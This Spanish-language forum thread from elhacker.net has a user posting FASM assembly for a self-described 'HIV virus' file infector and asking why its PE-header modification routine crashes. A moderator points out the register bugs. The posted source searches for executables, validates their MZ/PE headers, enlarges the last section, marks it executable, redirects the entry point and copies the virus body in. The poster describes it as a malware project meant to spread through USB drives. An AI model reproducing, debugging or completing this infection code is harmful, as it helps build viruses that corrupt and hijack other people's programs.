elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla  (Leído 2,779 veces)
harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla
« en: 22 Agosto 2014, 23:15 pm »

Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla.

Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas


Código
  1. ;This is a stub of the HIV virus.
  2. ;It works properly. This is only the infection routines.
  3.  
  4. ;The idea is make the infection module here, and after glue it with
  5. ;the payload and another modules.
  6.  
  7. ;The infection module must explore all USB removable drives
  8. ;and search in them for executables to infect.
  9.  
  10. format pe console 4.0
  11. include 'C:\fasm\INCLUDE\WIN32AX.INC'
  12.  
  13. virus_size_before_compilation equ (end_of_file-main)
  14. GENERIC_READWRITE equ 0C0000000h
  15.  
  16. ; Declare a macro to make buffers
  17. macro dup label,lcount
  18. { forward
  19.   label#:
  20.   common
  21.    repeat lcount
  22.   forward
  23.    db      0
  24.   common
  25.    end repeat }
  26.  
  27.  
  28. section '.text' readable writable executable
  29.  
  30. main:
  31.    call delta
  32. delta:
  33.    pop ebp
  34.    sub ebp, delta
  35.  
  36. adjust_datasegment:
  37.    ;push cs
  38.    ;pop ds
  39.    ;push cs
  40.    ;pop es
  41.  
  42. explore_directory:
  43.                         ;Push parameters for the function
  44.    push FIND_STRUCT     ;Put in the stack the address of FIND_STRUCT
  45.    push file_extension  ;File extension
  46.    call [FindFirstFileA]   ; find the first *.fly
  47.                        ;Always, remember that the API address can be founded using
  48.                        ;brackets in the API name, like this [FindFirstFile]
  49.  
  50.    ;invoke      FindFirstFile,file_extension, FIND_STRUCT
  51.  
  52.    mov dword [find_handle], eax ;Save find handler returned by FindFirstFile
  53.  
  54. find_more_files:
  55.    cmp eax, 0
  56.    je exit
  57.    call infect_file
  58.  
  59. findnextfile:
  60.  
  61.    push FIND_STRUCT
  62.    push dword[find_handle] ;I believe that the FindNextFile function expects
  63.                            ;the address of the find_handle, instead its value.
  64.    call [FindNextFile]
  65.    ;invoke FindNextFile, dword [find_handle], FIND_STRUCT
  66.    jmp find_more_files
  67.  
  68. infect_file:
  69.    ;-----------------------------------------------------------------------
  70.    ;When you work with files, You must be sure that the file was
  71.    ;successfully opened. If you use an incorrect or invalid mode opening,
  72.    ;you'll see that you can not retrieve data from the file. To see if
  73.    ;you've really recovered bytes from the file, type in the file a text
  74.    ;string and show it using MessageBox API.
  75.    ;------------------------------------------------------------------------
  76.  
  77.    ;invoke  CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  78.    ;invoke  WriteFile, eax, sign, 22, byteswritten, 0
  79.    ;invoke  CloseHandle, eax
  80.  
  81.    ;I use the 4 for the open mode because it means "Read/Write".
  82.    ;I open the file and Get its filesize for later use.
  83.    ;The handle was stored in eax by the API
  84.  
  85.    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  86.    mov [file_handle], eax
  87.  
  88.    ;I get the filesize of the host, and move it to a variable.
  89.    ;This data could be interesting in a near future
  90.    invoke GetFileSize, [file_handle], 0
  91.    mov [host_size], eax
  92.  
  93.    ;Calculates the possible new size of the executable
  94.    ;add eax, virus_size
  95.    ;mov [infected_size], eax
  96.  
  97.    ;Read 8000 bytes from the file
  98.    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file
  99.  
  100.    ;Debugging purpouses.
  101.    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
  102.    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK
  103.  
  104.    ;You must verify that the API has successfully opened and read bytes from the file
  105.    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK
  106.  
  107.    lea edx, [buffer]       ;Load in edx the address of buffer
  108.                            ;I use the edx register as a pointer to the buffer.
  109.  
  110.                            ;Now I am in the DOS header.
  111.    cmp word [edx], "MZ"    ;Check if the file is a real executable
  112.    jnz bad_executable
  113.    add edx, [edx+60]       ;This instruction modify the pointer.
  114.                            ;Now the edx register points to a position
  115.                            ;60 bytes (3C in hex) after the begin of buffer
  116.                            ;Now I am in the PE Header
  117.  
  118.    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
  119.                            ;This is very useful to know if I am infecting
  120.                            ;an old DOS program instead a Win32 executable.
  121.    jnz bad_executable
  122.    call good_executable
  123.  
  124.    ;After this point, the program crashes in somewhere of the code
  125.    mov esi, edx ; esi = peheader
  126.    add esi, 120 ; esi = dirheader
  127.    mov eax, [edx+116] ; eax = number of dir entries
  128.    shl eax, 3 ; eax = eax*8
  129.    add esi, eax ; esi = first section header
  130.    movzx eax, word [edx+6] ; eax = number of sections
  131.    dec eax ; eax = eax-1
  132.    imul eax,eax,40
  133.    add esi, eax ; esi = ptr to last section header
  134.    or byte [esi+39], 0F0h ; give section necessary rights
  135.    mov ecx, virus_size ; ecx = size of virus
  136.    mov ebx, [esi+16] ; ebx = physical size of section
  137.    add [esi+16], ecx ; increase section physical size
  138.    add [esi+8], ecx ; increase section virtual size
  139.    push dword [esi+8] ; push section virtual size
  140.    pop dword [edx+80] ; imagesize = section virtual size
  141.    mov eax, [esi+12] ; eax = section rva
  142.    add [edx+80], eax ; add it to the imagesize
  143.    add edi, [esi+20] ; edi = section offset
  144.    add edi, ebx ; edi = end of section
  145.    add eax, ebx ; eax = rva of virus
  146.    xchg [edx+40], eax ; swap it with old entrypoint
  147.    add eax, [edx+52] ; add imagebase to it
  148.    mov [ebp+OldEip], eax ; save it
  149.    lea esi, [ebp+main] ; esi = virus start
  150.    rep movsb ; edi = ptr to end of file
  151.    clc ; indicate sucess
  152.  
  153.    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK
  154.  
  155.    ret
  156.  
  157. good_executable:
  158.    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
  159.    ret
  160.  
  161. bad_executable:
  162.    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
  163.    ret
  164.  
  165.  
  166.  
  167. exit:
  168.    invoke ExitProcess, 0
  169.  
  170. ;----------------------------------------------------------------------
  171. ;   In this place you can find all variables and constants used
  172. ;by the HIV virus. Please, always try to put the needed variables here
  173. ;-----------------------------------------------------------------------
  174.  
  175. datazone:
  176.    ;This buffer will store parts of the whole file.
  177.    buffer rb 8000
  178.  
  179.    ;Strings zone...
  180.    end_message db 'The file was sucessfully infected...', 0
  181.    msg_found  db      'I have found a Real EXE!!!...', 0
  182.    msg_not_found db  'The current exe file is invalid...', 0
  183.    file_signal db 'X'
  184.    end_msg     db      'End of program', 0
  185.    msg         db      'File founded', 0
  186.    msg_caption db      'Assembly program...', 0
  187.    sign        db      'Sorry, You have HIV...', 0
  188.    byteswritten dd      ?
  189.    bytesread    dd      ?
  190.  
  191.    ;Variables needed by the infection function
  192.    file_handle  dd      ?
  193.    host_size dd ?
  194.    map_handle dd ?
  195.    infected_size dd ?
  196.    virus_size dd virus_size_before_compilation
  197.    OldEip  dd  ?
  198.  
  199.    ;Variables used by the FindFirstFile and FindNextFile
  200.    file_extension db '*.fly', 0
  201.    find_handle     dd 0              ; handles/other stuff..
  202.    FIND_STRUCT:                      ; find structure used with searching
  203.        dwFileAttributes    dd 0
  204.        ftCreationTime      dd 0,0
  205.        ftLastAccessTime    dd 0,0
  206.        ftLastWriteTime     dd 0,0
  207.        nFileSizeHigh       dd 0
  208.        nFileSizeLow        dd 0
  209.        dwReserved0         dd 0
  210.        dwReserved1         dd 0
  211.        dup         cFileName, 256        ; found file buffer
  212.        dup         cAlternate, 14
  213. end_of_file:
  214.  
  215. .end main
  216.  
  217.  


En línea

Vista mi blog es enriquemesa.blogspot.com
Eternal Idol
Kernel coder
Moderador
***
Desconectado Desconectado

Mensajes: 5.935


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla
« Respuesta #1 en: 22 Agosto 2014, 23:41 pm »

Pero esto no lo depuraste en lo mas minimo. EDX es 0 ahi ... y es por llamar a MessageBox, EDX es un registro volatil.

Y esta es la primera referencia a EDI en todo el programa:
   add   edi, [esi+20]   ; edi = section offset

Nadie sabe que valor tenia EDI hasta ese momento.

En fin, abri el WinDbg y depuralo linea por linea.

PD. Asumo que comprendes que ese codigo no modificara mas que un buffer en memoria.


« Última modificación: 22 Agosto 2014, 23:51 pm por Eternal Idol » En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
harry_the_blogger

Desconectado Desconectado

Mensajes: 105


Visita mi blog es enriquemesa.blogspot.com


Ver Perfil WWW
Re: Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla
« Respuesta #2 en: 23 Agosto 2014, 00:11 am »

Ah, no sabía que EDI era indeterminado, y también desconocía que EDX es modificado por MessageBox. Gracias por decirme cuales eran los errores de mi codigo, Eternal Idol.

Yo ya sabía que solo modificaba un buffer en memoria, lo que pasa es que luego volcaré el contenido del buffer al disco, sobreescribiendo los datos viejos y de esa forma actualizar el PE header y demas cabeceras. Solo que aun no implementado la funcion de escritura que haga ese trabajo.

Gracias por tu ayuda, Eternal Idol. Tendré que leerme un buen manual de depuracion con OllyDbg, porque al parecer cometo unos cuantos errores de novato...XD. Bueno, supongo que si algo ocurre puedo volver aquí, ¿o no?

Perdón por las molestias causadas.
En línea

Vista mi blog es enriquemesa.blogspot.com
Eternal Idol
Kernel coder
Moderador
***
Desconectado Desconectado

Mensajes: 5.935


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla
« Respuesta #3 en: 25 Agosto 2014, 00:01 am »

Ah, no sabía que EDI era indeterminado, y también desconocía que EDX es modificado por MessageBox. Gracias por decirme cuales eran los errores de mi codigo, Eternal Idol.

No es algo que haya que saber, es simplemente pura logica. Lo segundo es parte de la convencion de llamada stdcall:

Registers EAX, ECX, and EDX are designated for use within the function.
http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall

Gracias por tu ayuda, Eternal Idol. Tendré que leerme un buen manual de depuracion con OllyDbg, porque al parecer cometo unos cuantos errores de novato...XD.

Te recomiendo que consigas un libro sobre ensamblador mejor.
En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines